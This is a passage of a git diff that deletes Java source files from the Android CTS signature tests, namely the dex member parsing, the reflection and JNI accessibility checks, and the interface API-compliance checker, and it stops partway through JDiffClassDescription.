- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-public class DexField extends DexMember {
-  public DexField(String className, String name, String type) {
-      super(className, name, type);
-  }
-
-  @Override
-  public String toString() {
-      return getJavaType() + " " + getJavaClassName() + "." + getName();
-  }
-}
diff --git a/tests/signature/src/android/signature/cts/DexMember.java b/tests/signature/src/android/signature/cts/DexMember.java
deleted file mode 100644
index 930f92b..0000000
--- a/tests/signature/src/android/signature/cts/DexMember.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-/**
- * Represents one class member parsed from the reader of dex signatures.
- */
-public abstract class DexMember {
-    private final String mName;
-    private final String mClassDescriptor;
-    private final String mType;
-
-    protected DexMember(String className, String name, String type) {
-        mName = name;
-        mClassDescriptor = className;
-        mType = type;
-    }
-
-    public String getName() {
-        return mName;
-    }
-
-    public String getDexClassName() {
-        return mClassDescriptor;
-    }
-
-    public String getJavaClassName() {
-        return dexToJavaType(mClassDescriptor);
-    }
-
-    public String getDexType() {
-        return mType;
-    }
-
-    public String getJavaType() {
-        return dexToJavaType(mType);
-    }
-
-    /**
-     * Converts `type` to a Java type.
-     */
-    protected static String dexToJavaType(String type) {
-        String javaDimension = "";
-        while (type.startsWith("[")) {
-            javaDimension += "[]";
-            type = type.substring(1);
-        }
-
-        String javaType = null;
-        if ("V".equals(type)) {
-            javaType = "void";
-        } else if ("Z".equals(type)) {
-            javaType = "boolean";
-        } else if ("B".equals(type)) {
-            javaType = "byte";
-        } else if ("C".equals(type)) {
-            javaType = "char";
-        } else if ("S".equals(type)) {
-            javaType = "short";
-        } else if ("I".equals(type)) {
-            javaType = "int";
-        } else if ("J".equals(type)) {
-            javaType = "long";
-        } else if ("F".equals(type)) {
-            javaType = "float";
-        } else if ("D".equals(type)) {
-            javaType = "double";
-        } else if (type.startsWith("L") && type.endsWith(";")) {
-            javaType = type.substring(1, type.length() - 1).replace('/', '.');
-        } else {
-            throw new IllegalStateException("Unexpected type " + type);
-        }
-
-        return javaType + javaDimension;
-    }
-}
diff --git a/tests/signature/src/android/signature/cts/DexMemberChecker.java b/tests/signature/src/android/signature/cts/DexMemberChecker.java
deleted file mode 100644
index 1efdbad..0000000
--- a/tests/signature/src/android/signature/cts/DexMemberChecker.java
+++ /dev/null
@@ -1,236 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.signature.cts;
-
-import android.util.Log;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Executable;
-import java.lang.reflect.Field;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.List;
-
-public class DexMemberChecker {
-    public static final String TAG = "DexMemberChecker";
-
-    public interface Observer {
-        void classAccessible(boolean accessible, DexMember member);
-        void fieldAccessibleViaReflection(boolean accessible, DexField field);
-        void fieldAccessibleViaJni(boolean accessible, DexField field);
-        void methodAccessibleViaReflection(boolean accessible, DexMethod method);
-        void methodAccessibleViaJni(boolean accessible, DexMethod method);
-    }
-
-    public static void init() {
-        System.loadLibrary("cts_dexchecker");
-    }
-
-    private static void call_VMDebug_allowHiddenApiReflectionFrom(Class<?> klass) throws Exception {
-      Method method = null;
-
-      try {
-        Class<?> vmdebug = Class.forName("dalvik.system.VMDebug");
-        method = vmdebug.getDeclaredMethod("allowHiddenApiReflectionFrom", Class.class);
-      } catch (Exception ex) {
-        // Could not find the method. Report the problem as a RuntimeException.
-        throw new RuntimeException(ex);
-      }
-
-      try {
-        method.invoke(null, klass);
-      } catch (InvocationTargetException ex) {
-        // Rethrow the original exception.
-        Throwable cause = ex.getCause();
-        // Please the compiler's 'throws' static analysis.
-        if (cause instanceof Exception) {
-          throw (Exception) cause;
-        } else {
-          throw (Error) cause;
-        }
-      }
-    }
-
-    public static boolean requestExemptionFromHiddenApiChecks() throws Exception {
-      try {
-        call_VMDebug_allowHiddenApiReflectionFrom(DexMemberChecker.class);
-        return true;
-      } catch (SecurityException ex) {
-        return false;
-      }
-    }
-
-    public static void checkSingleMember(DexMember dexMember, DexMemberChecker.Observer observer) {
-        Class<?> klass = findClass(dexMember);
-        if (klass == null) {
-            // Class not found. Therefore its members are not visible.
-            observer.classAccessible(false, dexMember);
-            return;
-        }
-        observer.classAccessible(true, dexMember);
-
-        if (dexMember instanceof DexField) {
-            DexField field = (DexField) dexMember;
-            observer.fieldAccessibleViaReflection(
-                    hasMatchingField_Reflection(klass, field),
-                    field);
-            try {
-                observer.fieldAccessibleViaJni(
-                        hasMatchingField_JNI(klass, field),
-                        field);
-            } catch (ExceptionInInitializerError | UnsatisfiedLinkError | NoClassDefFoundError e) {
-                if ((e instanceof NoClassDefFoundError)
-                        && !(e.getCause() instanceof ExceptionInInitializerError)
-                        && !(e.getCause() instanceof UnsatisfiedLinkError)) {
-                    throw e;
-                }
-
-                // Could not initialize the class. Skip JNI test.
-                Log.w(TAG, "JNI failed for " + dexMember.toString(), e);
-            }
-        } else if (dexMember instanceof DexMethod) {
-            DexMethod method = (DexMethod) dexMember;
-            observer.methodAccessibleViaReflection(
-                    hasMatchingMethod_Reflection(klass, method),
-                    method);
-            try {
-                observer.methodAccessibleViaJni(
-                        hasMatchingMethod_JNI(klass, method),
-                        method);
-            } catch (ExceptionInInitializerError | UnsatisfiedLinkError | NoClassDefFoundError e) {
-                if ((e instanceof NoClassDefFoundError)
-                        && !(e.getCause() instanceof ExceptionInInitializerError)
-                        && !(e.getCause() instanceof UnsatisfiedLinkError)) {
-                    throw e;
-                }
-
-                // Could not initialize the class. Skip JNI test.
-                Log.w(TAG, "JNI failed for " + dexMember.toString(), e);
-            }
-        } else {
-            throw new IllegalStateException("Unexpected type of dex member");
-        }
-    }
-
-    private static boolean typesMatch(Class<?>[] classes, List<String> typeNames) {
-        if (classes.length != typeNames.size()) {
-            return false;
-        }
-        for (int i = 0; i < classes.length; ++i) {
-            if (!classes[i].getTypeName().equals(typeNames.get(i))) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    private static Class<?> findClass(DexMember dexMember) {
-        try {
-            // Try to find the class. Do not initialize it - we do not want to run
-            // static initializers.
-            return Class.forName(dexMember.getJavaClassName(), /* initialize */ false,
-                DexMemberChecker.class.getClassLoader());
-        } catch (ClassNotFoundException ex) {
-            return null;
-        }
-    }
-
-    private static boolean hasMatchingField_Reflection(Class<?> klass, DexField dexField) {
-        try {
-            klass.getDeclaredField(dexField.getName());
-            return true;
-        } catch (NoSuchFieldException ex) {
-            return false;
-        }
-    }
-
-    private static boolean hasMatchingField_JNI(Class<?> klass, DexField dexField) {
-        try {
-            Field ifield = getField_JNI(klass, dexField.getName(), dexField.getDexType());
-            if (ifield.getDeclaringClass() == klass) {
-              return true;
-            }
-        } catch (NoSuchFieldError e) {
-            // Not found.
-        }
-
-        try {
-            Field sfield = getStaticField_JNI(klass, dexField.getName(), dexField.getDexType());
-            if (sfield.getDeclaringClass() == klass) {
-              return true;
-            }
-        } catch (NoSuchFieldError e) {
-            // Not found.
-        }
-
-        return false;
-    }
-
-    private static boolean hasMatchingMethod_Reflection(Class<?> klass, DexMethod dexMethod) {
-        List<String> methodParams = dexMethod.getJavaParameterTypes();
-
-        if (dexMethod.isConstructor()) {
-            for (Constructor constructor : klass.getDeclaredConstructors()) {
-                if (typesMatch(constructor.getParameterTypes(), methodParams)) {
-                    return true;
-                }
-            }
-        } else {
-            String methodReturnType = dexMethod.getJavaType();
-            for (Method method : klass.getDeclaredMethods()) {
-                if (method.getName().equals(dexMethod.getName())
-                        && method.getReturnType().getTypeName().equals(methodReturnType)
-                        && typesMatch(method.getParameterTypes(), methodParams)) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    private static boolean hasMatchingMethod_JNI(Class<?> klass, DexMethod dexMethod) {
-        try {
-            Executable imethod = getMethod_JNI(
-                klass, dexMethod.getName(), dexMethod.getDexSignature());
-            if (imethod.getDeclaringClass() == klass) {
-                return true;
-            }
-        } catch (NoSuchMethodError e) {
-            // Not found.
-        }
-
-        if (!dexMethod.isConstructor()) {
-            try {
-                Executable smethod =
-                    getStaticMethod_JNI(klass, dexMethod.getName(), dexMethod.getDexSignature());
-                if (smethod.getDeclaringClass() == klass) {
-                    return true;
-                }
-            } catch (NoSuchMethodError e) {
-                // Not found.
-            }
-        }
-
-        return false;
-    }
-
-    private static native Field getField_JNI(Class<?> klass, String name, String type);
-    private static native Field getStaticField_JNI(Class<?> klass, String name, String type);
-    private static native Executable getMethod_JNI(Class<?> klass, String name, String signature);
-    private static native Executable getStaticMethod_JNI(Class<?> klass, String name,
-            String signature);
-
-}
diff --git a/tests/signature/src/android/signature/cts/DexMethod.java b/tests/signature/src/android/signature/cts/DexMethod.java
deleted file mode 100644
index ad21c7a..0000000
--- a/tests/signature/src/android/signature/cts/DexMethod.java
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Collectors;
-
-public class DexMethod extends DexMember {
-  private final List<String> mParamTypeList;
-
-  public DexMethod(String className, String name, String signature) {
-      super(className, name, parseDexReturnType(signature));
-      mParamTypeList = parseDexTypeList(signature);
-  }
-
-  public String getDexSignature() {
-      return "(" + String.join("", mParamTypeList) + ")" + getDexType();
-  }
-
-  public List<String> getJavaParameterTypes() {
-      return mParamTypeList.stream().map(DexMember::dexToJavaType).collect(Collectors.toList());
-  }
-
-  public boolean isConstructor() {
-      return "<init>".equals(getName()) && "V".equals(getDexType());
-  }
-
-  public boolean isStaticConstructor() {
-      return "<clinit>".equals(getName()) && "V".equals(getDexType());
-  }
-
-  @Override
-  public String toString() {
-      return getJavaType() + " " + getJavaClassName() + "." + getName()
-              + "(" + String.join(", ", getJavaParameterTypes()) + ")";
-  }
-
-  private static Matcher matchSignature(String signature) {
-      Matcher m = Pattern.compile("^\\((.*)\\)(.*)$").matcher(signature);
-      if (!m.matches()) {
-          throw new RuntimeException("Could not parse method signature: " + signature);
-      }
-      return m;
-  }
-
-  private static String parseDexReturnType(String signature) {
-      return matchSignature(signature).group(2);
-  }
-
-  private static List<String> parseDexTypeList(String signature) {
-      String typeSequence = matchSignature(signature).group(1);
-      List<String> list = new ArrayList<String>();
-      while (!typeSequence.isEmpty()) {
-          String type = firstDexTypeFromList(typeSequence);
-          list.add(type);
-          typeSequence = typeSequence.substring(type.length());
-      }
-      return list;
-  }
-
-  /**
-   * Returns the first dex type in `typeList` or throws a ParserException
-   * if a dex type is not recognized. The input is not changed.
-   */
-  private static String firstDexTypeFromList(String typeList) {
-      String dexDimension = "";
-      while (typeList.startsWith("[")) {
-          dexDimension += "[";
-          typeList = typeList.substring(1);
-      }
-
-      String type = null;
-      if (typeList.startsWith("V")
-              || typeList.startsWith("Z")
-              || typeList.startsWith("B")
-              || typeList.startsWith("C")
-              || typeList.startsWith("S")
-              || typeList.startsWith("I")
-              || typeList.startsWith("J")
-              || typeList.startsWith("F")
-              || typeList.startsWith("D")) {
-          type = typeList.substring(0, 1);
-      } else if (typeList.startsWith("L") && typeList.indexOf(";") > 0) {
-          type = typeList.substring(0, typeList.indexOf(";") + 1);
-      } else {
-          throw new RuntimeException("Unexpected dex type in \"" + typeList + "\"");
-      }
-
-      return dexDimension + type;
-  }
-}
diff --git a/tests/signature/src/android/signature/cts/InterfaceChecker.java b/tests/signature/src/android/signature/cts/InterfaceChecker.java
deleted file mode 100644
index 6be5f96..0000000
--- a/tests/signature/src/android/signature/cts/InterfaceChecker.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-import java.lang.reflect.Method;
-import java.lang.reflect.Modifier;
-import java.util.ArrayList;
-import java.util.Comparator;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.TreeMap;
-import java.util.function.Predicate;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-
-/**
- * Checks that the runtime representation of the interfaces match the API definition.
- *
- * <p>Interfaces are treated differently to other classes. Whereas other classes are checked by
- * making sure that every member in the API is accessible through reflection. Interfaces are
- * checked to make sure that every method visible through reflection is defined in the API. The
- * reason for this difference is to ensure that no additional methods have been added to interfaces
- * that are expected to be implemented by Android developers because that would break backwards
- * compatibility.
- *
- * TODO(b/71886491): This also potentially applies to abstract classes that the App developers are
- * expected to extend.
- */
-class InterfaceChecker {
-
-    private static final Set<String> HIDDEN_INTERFACE_METHOD_WHITELIST = new HashSet<>();
-    static {
-        // Interfaces that define @hide or @SystemApi or @TestApi methods will by definition contain
-        // methods that do not appear in current.txt. Interfaces added to this
-        // list are probably not meant to be implemented in an application.
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract boolean android.companion.DeviceFilter.matches(D)");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public static <D> boolean android.companion.DeviceFilter.matches(android.companion.DeviceFilter<D>,D)");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract java.lang.String android.companion.DeviceFilter.getDeviceDisplayName(D)");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract int android.companion.DeviceFilter.getMediumType()");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void android.nfc.tech.TagTechnology.reconnect() throws java.io.IOException");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void android.os.IBinder.shellCommand(java.io.FileDescriptor,java.io.FileDescriptor,java.io.FileDescriptor,java.lang.String[],android.os.ShellCallback,android.os.ResultReceiver) throws android.os.RemoteException");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract int android.text.ParcelableSpan.getSpanTypeIdInternal()");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void android.text.ParcelableSpan.writeToParcelInternal(android.os.Parcel,int)");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void android.view.WindowManager.requestAppKeyboardShortcuts(android.view.WindowManager$KeyboardShortcutsReceiver,int)");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract boolean javax.microedition.khronos.egl.EGL10.eglReleaseThread()");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract void org.w3c.dom.ls.LSSerializer.setFilter(org.w3c.dom.ls.LSSerializerFilter)");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract org.w3c.dom.ls.LSSerializerFilter org.w3c.dom.ls.LSSerializer.getFilter()");
-        HIDDEN_INTERFACE_METHOD_WHITELIST.add("public abstract android.graphics.Region android.view.WindowManager.getCurrentImeTouchRegion()");
-    }
-
-    private final ResultObserver resultObserver;
-
-    private final Map<Class<?>, JDiffClassDescription> class2Description =
-            new TreeMap<>(Comparator.comparing(Class::getName));
-
-    private final ClassProvider classProvider;
-
-    InterfaceChecker(ResultObserver resultObserver, ClassProvider classProvider) {
-        this.resultObserver = resultObserver;
-        this.classProvider = classProvider;
-    }
-
-    public void checkQueued() {
-        for (Map.Entry<Class<?>, JDiffClassDescription> entry : class2Description.entrySet()) {
-            Class<?> runtimeClass = entry.getKey();
-            JDiffClassDescription classDescription = entry.getValue();
-            List<Method> methods = checkInterfaceMethodCompliance(classDescription, runtimeClass);
-            if (methods.size() > 0) {
-                resultObserver.notifyFailure(FailureType.MISMATCH_INTERFACE_METHOD,
-                        classDescription.getAbsoluteClassName(), "Interfaces cannot be modified: "
-                                + classDescription.getAbsoluteClassName() + ": " + methods);
-            }
-        }
-    }
-
-    private static <T> Predicate<T> not(Predicate<T> predicate) {
-        return predicate.negate();
-    }
-
-    /**
-     * Validate that an interfaces method count is as expected.
-     *
-     * @param classDescription the class's API description.
-     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
-     */
-    private List<Method> checkInterfaceMethodCompliance(
-            JDiffClassDescription classDescription, Class<?> runtimeClass) {
-
-        return Stream.of(runtimeClass.getDeclaredMethods())
-                .filter(not(Method::isDefault))
-                .filter(not(Method::isSynthetic))
-                .filter(not(Method::isBridge))
-                .filter(m -> !Modifier.isStatic(m.getModifiers()))
-                .filter(m -> !HIDDEN_INTERFACE_METHOD_WHITELIST.contains(m.toGenericString()))
-                .filter(m -> !findMethod(classDescription, m))
-                .collect(Collectors.toCollection(ArrayList::new));
-    }
-
-    private boolean findMethod(JDiffClassDescription classDescription, Method method) {
-        for (JDiffClassDescription.JDiffMethod jdiffMethod : classDescription.getMethods()) {
-            if (ReflectionHelper.matches(jdiffMethod, method)) {
-                return true;
-            }
-        }
-        for (String interfaceName : classDescription.getImplInterfaces()) {
-            Class<?> interfaceClass = null;
-            try {
-                interfaceClass = ReflectionHelper.findMatchingClass(interfaceName, classProvider);
-            } catch (ClassNotFoundException e) {
-                LogHelper.loge("ClassNotFoundException for " + classDescription.getAbsoluteClassName(), e);
-            }
-
-            JDiffClassDescription implInterface = class2Description.get(interfaceClass);
-            if (implInterface == null) {
-                // Class definition is not in the scope of the API definitions.
-                continue;
-            }
-
-            if (findMethod(implInterface, method)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-
-    void queueForDeferredCheck(JDiffClassDescription classDescription, Class<?> runtimeClass) {
-
-        JDiffClassDescription existingDescription = class2Description.get(runtimeClass);
-        if (existingDescription != null) {
-            for (JDiffClassDescription.JDiffMethod method : classDescription.getMethods()) {
-                existingDescription.addMethod(method);
-            }
-        } else {
-            class2Description.put(runtimeClass, classDescription);
-        }
-    }
-}
diff --git a/tests/signature/src/android/signature/cts/JDiffClassDescription.java b/tests/signature/src/android/signature/cts/JDiffClassDescription.java
deleted file mode 100644
index 30584c9..0000000
--- a/tests/signature/src/android/signature/cts/JDiffClassDescription.java
+++ /dev/null
@@ -1,531 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.signature.cts;
-
-import java.lang.reflect.Modifier;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.List;
-
-/**
- * Represents class descriptions loaded from a jdiff xml file.  Used
- * for CTS SignatureTests.
- */
-public class JDiffClassDescription {
-
-    public enum JDiffType {
-        INTERFACE, CLASS
-    }
-
-    private final String mPackageName;
-    private final String mShortClassName;
-
-    /**
-     * Package name + short class name
-     */
-    private final String mAbsoluteClassName;
-
-    private int mModifier;
-
-    private String mExtendedClass;
-    private final List<String> implInterfaces = new ArrayList<>();
-    private final List<JDiffField> jDiffFields = new ArrayList<>();
-    private final List<JDiffMethod> jDiffMethods = new ArrayList<>();
-    private final List<JDiffConstructor> jDiffConstructors = new ArrayList<>();
-
-    private JDiffType mClassType;
-
-    /**
-     * Creates a new JDiffClassDescription.
-     *
-     * @param pkg the java package this class will end up in.
-     * @param className the name of the class.
-     */
-    public JDiffClassDescription(String pkg, String className) {
-        mPackageName = pkg;
-        mShortClassName = className;
-        mAbsoluteClassName = mPackageName + "." + mShortClassName;
-    }
-
-
-    String getPackageName() {
-        return mPackageName;
-    }
-
-    public String getShortClassName() {
-        return mShortClassName;
-    }
-
-    int getModifier() {
-        return mModifier;
-    }
-
-    String getExtendedClass() {
-        return mExtendedClass;
-    }
-
-    List<String> getImplInterfaces() {
-        return implInterfaces;
-    }
-
-    List<JDiffField> getFields() {
-        return jDiffFields;
-    }
-
-    List<JDiffMethod> getMethods() {
-        return jDiffMethods;
-    }
-
-    List<JDiffConstructor> getConstructors() {
-        return jDiffConstructors;
-    }
-
-    JDiffType getClassType() {
-        return mClassType;
-    }
-
-    /**
-     * adds implemented interface name.
-     *
-     * @param iname name of interface
-     */
-    public void addImplInterface(String iname) {
-        implInterfaces.add(iname);
-    }
-
-    /**
-     * Adds a field.
-     *
-     * @param field the field to be added.
-     */
-    public void addField(JDiffField field) {
-        jDiffFields.add(field);
-    }
-
-    /**
-     * Adds a method.
-     *
-     * @param method the method to be added.
-     */
-    public void addMethod(JDiffMethod method) {
-        jDiffMethods.add(method);
-    }
-
-    /**
-     * Adds a constructor.
-     *
-     * @param tc the constructor to be added.
-     */
-    public void addConstructor(JDiffConstructor tc) {
-        jDiffConstructors.add(tc);
-    }
-
-    private static String convertModifiersToAccessLevel(int modifiers) {
-        if ((modifiers & Modifier.PUBLIC) != 0) {
-            return "public";
-        } else if ((modifiers & Modifier.PRIVATE) != 0) {
-            return "private";
-        } else if ((modifiers & Modifier.PROTECTED) != 0) {
-            return "protected";
-        } else {
-            // package protected
-            return "";
-        }
-    }
-
-    private static String convertModifersToModifierString(int modifiers) {
-        StringBuilder sb = new StringBuilder();
-        String separator = "";
-
-        // order taken from Java Language Spec, sections 8.1.1, 8.3.1, and 8.4.3
-        if ((modifiers & Modifier.ABSTRACT) != 0) {
-            sb.append(separator).append("abstract");
-            separator = " ";
-        }
-        if ((modifiers & Modifier.STATIC) != 0) {
-            sb.append(separator).append("static");
-            separator = " ";
-        }
-        if ((modifiers & Modifier.FINAL) != 0) {
-            sb.append(separator).append("final");
-            separator = " ";
-        }
-        if ((modifiers & Modifier.TRANSIENT) != 0) {
-            sb.append(separator).append("transient");
-            separator = " ";
-        }
-        if ((modifiers & Modifier.VOLATILE) != 0) {
-            sb.append(separator).append("volatile");
-            separator = " ";
-        }
-        if ((modifiers & Modifier.SYNCHRONIZED) != 0) {
-            sb.append(separator).append("synchronized");
-            separator = " ";
-        }
-        if ((modifiers & Modifier.NATIVE) != 0) {
-            sb.append(separator).append("native");
-            separator = " ";
-        }
-        if ((modifiers & Modifier.STRICT) != 0) {
-            sb.append(separator).append("strictfp");
-        }
-
-        return sb.toString();
-    }
-
-    abstract static class JDiffElement {
-        final String mName;
-        int mModifier;
-
-        JDiffElement(String name, int modifier) {
-            mName = name;
-            mModifier = modifier;
-        }
-    }
-
-    /**
-     * Represents a  field.
-     */
-    public static final class JDiffField extends JDiffElement {
-        final String mFieldType;
-        private final String mFieldValue;
-
-        public JDiffField(String name, String fieldType, int modifier, String value) {
-            super(name, modifier);
-
-            mFieldType = fieldType;
-            mFieldValue = value;
-        }
-
-        /**
-         * A string representation of the value within the field.
-         */
-        public String getValueString() {
-            return mFieldValue;
-        }
-
-        /**
-         * Make a readable string according to the class name specified.
-         *
-         * @param className The specified class name.
-         * @return A readable string to represent this field along with the class name.
-         */
-        String toReadableString(String className) {
-            return className + "#" + mName + "(" + mFieldType + ")";
-        }
-
-        public String toSignatureString() {
-            StringBuilder sb = new StringBuilder();
-
-            // access level
-            String accesLevel = convertModifiersToAccessLevel(mModifier);
-            if (!"".equals(accesLevel)) {
-                sb.append(accesLevel).append(" ");
-            }
-
-            String modifierString = convertModifersToModifierString(mModifier);
-            if (!"".equals(modifierString)) {
-                sb.append(modifierString).append(" ");
-            }
-
-            sb.append(mFieldType).append(" ");
-
-            sb.append(mName);
-
-            return sb.toString();
-        }
-    }
-
-    /**
-     * Represents a method.
-     */
-    public static class JDiffMethod extends JDiffElement {
-        final String mReturnType;
-        final ArrayList<String> mParamList;
-        final ArrayList<String> mExceptionList;
-
-        public JDiffMethod(String name, int modifier, String returnType) {
-            super(name, modifier);
-
-            if (returnType == null) {
-                mReturnType = "void";
-            } else {
-                mReturnType = scrubJdiffParamType(returnType);
-            }
-
-            mParamList = new ArrayList<>();
-            mExceptionList = new ArrayList<>();
-        }
-
-        /**
-         * Adds a parameter.
-         *
-         * @param param parameter type
-         */
-        public void addParam(String param) {
-            mParamList.add(scrubJdiffParamType(param));
-        }
-
-        /**
-         * Adds an exception.
-         *
-         * @param exceptionName name of exception
-         */
-        public void addException(String exceptionName) {
-            mExceptionList.add(exceptionName);
-        }
-
-        /**
-         * Makes a readable string according to the class name specified.
-         *
-         * @param className The specified class name.
-         * @return A readable string to represent this method along with the class name.
-         */
-        String toReadableString(String className) {
-            return className + "#" + mName + "(" + convertParamList(mParamList) + ")";
-        }
-
-        /**
-         * Converts a parameter array to a string
-         *
-         * @param params the array to convert
-         * @return converted parameter string
-         */
-        private static String convertParamList(final ArrayList<String> params) {
-
-            StringBuilder paramList = new StringBuilder();
-
-            if (params != null) {
-                for (String str : params) {
-                    paramList.append(str).append(", ");
-                }
-                if (params.size() > 0) {
-                    paramList.delete(paramList.length() - 2, paramList.length());
-                }
-            }
-
-            return paramList.toString();
-        }
-
-        public String toSignatureString() {
-            StringBuilder sb = new StringBuilder();
-
-            // access level
-            String accesLevel = convertModifiersToAccessLevel(mModifier);
-            if (!"".equals(accesLevel)) {
-                sb.append(accesLevel).append(" ");
-            }
-
-            String modifierString = convertModifersToModifierString(mModifier);
-            if (!"".equals(modifierString)) {
-                sb.append(modifierString).append(" ");
-            }
-
-            String returnType = getReturnType();
-            if (!"".equals(returnType)) {
-                sb.append(returnType).append(" ");
-            }
-
-            sb.append(mName);
-            sb.append("(");
-            for (int x = 0; x < mParamList.size(); x++) {
-                sb.append(mParamList.get(x));
-                if (x + 1 != mParamList.size()) {
-                    sb.append(", ");
-                }
-            }
-            sb.append(")");
-
-            // does it throw?
-            if (mExceptionList.size() > 0) {
-                sb.append(" throws ");
-                for (int x = 0; x < mExceptionList.size(); x++) {
-                    sb.append(mExceptionList.get(x));
-                    if (x + 1 != mExceptionList.size()) {
-                        sb.append(", ");
-                    }
-                }
-            }
-
-            return sb.toString();
-        }
-
-        /**
-         * Gets the return type.
-         *
-         * @return the return type of this method.
-         */
-        String getReturnType() {
-            return mReturnType;
-        }
-    }
-
-    /**
-     * Represents a constructor.
-     */
-    public static final class JDiffConstructor extends JDiffMethod {
-        public JDiffConstructor(String name, int modifier) {
-            super(name, modifier, null);
-        }
-
-        /**
-         * Gets the return type.
-         *
-         * @return the return type of this method.
-         */
-        @Override
-        protected String getReturnType() {
-            // Constructors have no return type.
-            return "";
-        }
-    }
-
-    /**
-     * Gets the list of fields found within this class.
-     *
-     * @return the list of fields.
-     */
-    public Collection<JDiffField> getFieldList() {
-        return jDiffFields;
-    }
-
-    /**
-     * Convert the class into a printable signature string.
-     *
-     * @return the signature string
-     */
-    public String toSignatureString() {
-        StringBuilder sb = new StringBuilder();
-
-        String accessLevel = convertModifiersToAccessLevel(mModifier);
-        if (!"".equals(accessLevel)) {
-            sb.append(accessLevel).append(" ");
-        }
-        if (!JDiffType.INTERFACE.equals(mClassType)) {
-            String modifierString = convertModifersToModifierString(mModifier);
-            if (!"".equals(modifierString)) {
-                sb.append(modifierString).append(" ");
-            }
-            sb.append("class ");
-        } else {
-            sb.append("interface ");
-        }
-        // class name
-        sb.append(mShortClassName);
-
-        // does it extends something?
-        if (mExtendedClass != null) {
-            sb.append(" extends ").append(mExtendedClass).append(" ");
-        }
-
-        // implements something?
-        if (implInterfaces.size() > 0) {
-            sb.append(" implements ");
-            for (int x = 0; x < implInterfaces.size(); x++) {
-                String interf = implInterfaces.get(x);
-                sb.append(interf);
-                // if not last elements
-                if (x + 1 != implInterfaces.size()) {
-                    sb.append(", ");
-                }
-            }
-        }
-        return sb.toString();
-    }
-
-    /**
-     * Sees if the class under test is actually an enum.
-     *
-     * @return true if this class is enum
-     */
-    boolean isEnumType() {
-        return "java.lang.Enum".equals(mExtendedClass);
-    }
-
-    /**
-     * Sees if the class under test is actually an annotation.
-     *
-     * @return true if this class is Annotation.
-     */
-    boolean isAnnotation() {
-        return implInterfaces.contains("java.lang.annotation.Annotation");
-    }
-
-    /**
-     * Gets the class name for the class under test.
-     *
-     * @return the class name.
-     */
-    String getClassName() {
-        return mShortClassName;
-    }
-
-    /**
-     * Gets the package name + short class name
-     *
